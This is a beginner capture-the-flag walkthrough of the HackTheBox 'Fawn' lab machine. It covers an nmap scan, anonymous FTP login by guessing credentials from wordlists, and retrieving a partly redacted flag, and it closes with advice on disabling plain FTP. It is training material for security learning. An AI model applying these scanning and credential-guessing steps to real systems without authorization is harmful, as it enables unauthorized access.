#Introduction

Fawn is a beginner-friendly Starting Point machine on HackTheBox. The goal is to gain root access and retrieve the flag. This machine teaches the basics of network scanning and exploiting misconfigured FTP services.

#Setup

To connect to machine download the starting point VPN file and conect to it via sudo openvpn file.ovpn

NOTE: Replace file.ovpn with your filename.

Once connected to the machine spawn the machine through HTB webpage and grab it's IP

To check if everything is working fine, we can use ping 10.129.1.14

#Enumeration

Nmap Scan with nmap -sV 10.129.1.14 which returns:

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-07 11:27 IST
Nmap scan report for 10.129.1.14
Host is up (0.22s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
Service Info: OS: Unix
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.73 seconds

Which indicates that the server is running ftp on port 21/tcp

File Transfer Protocol (FTP) is a standard communication protocol used for the transfer of computer files from a server to a client on a computer network it does not encrypt its traffic; all transmissions are in clear text, and usernames, passwords, commands and data can be read by anyone able to perform packet capture (sniffing) on the network

Here -sV tells nmap to detect what version of a service is running on each open port

#Exploitation

To connect to FTP we can use ftp 10.129.1.14 which returns

Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:kali):

At this stage to connect to ftp server we need a valid username:password pair, and for that purpose we can look into SecLists and from looking through it we can try candidates like anonymous:anonymous, root:rootpasswd, root:12hrs37 etc

Trying anonymous:anonymous as our credentials:

Name (10.129.1.14:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

IT WORKS.

We have successfully broken into FTP Shell, so now we can list the current director content and grab our flag

ftp> ls
229 Entering Extended Passive Mode (|||35566|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.
ftp> cat flag.txt
?Invalid command.

Umm.. Interseting to view a file on our local linux system we generally use cat command but FTP doesn't support it, so to get a file form a FTP server we need to use get <filename>

ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||11235|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |************************************************************************************************************|    32       22.66 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.18 KiB/s)

Now we can exit the FTP shell with exit

#Flag

The get <filename> command saves the file in the directory where we ran the FTP command

So we can view the contents of file with cat flag.txt

035d<SNIP>f815

#Conclusion

This machine demonstrates how dangerous misconfigured services can be. FTP transmits credentials in plaintext, and combined wordlist bruteforce, the system was compromised instantly with no exploitation tools needed — just basic enumeration.

This could have been prevented by disabling FTP and replacing it with SFTP ( which is combination of FTP + SSH ), and enforcing strong passwords on all accounts.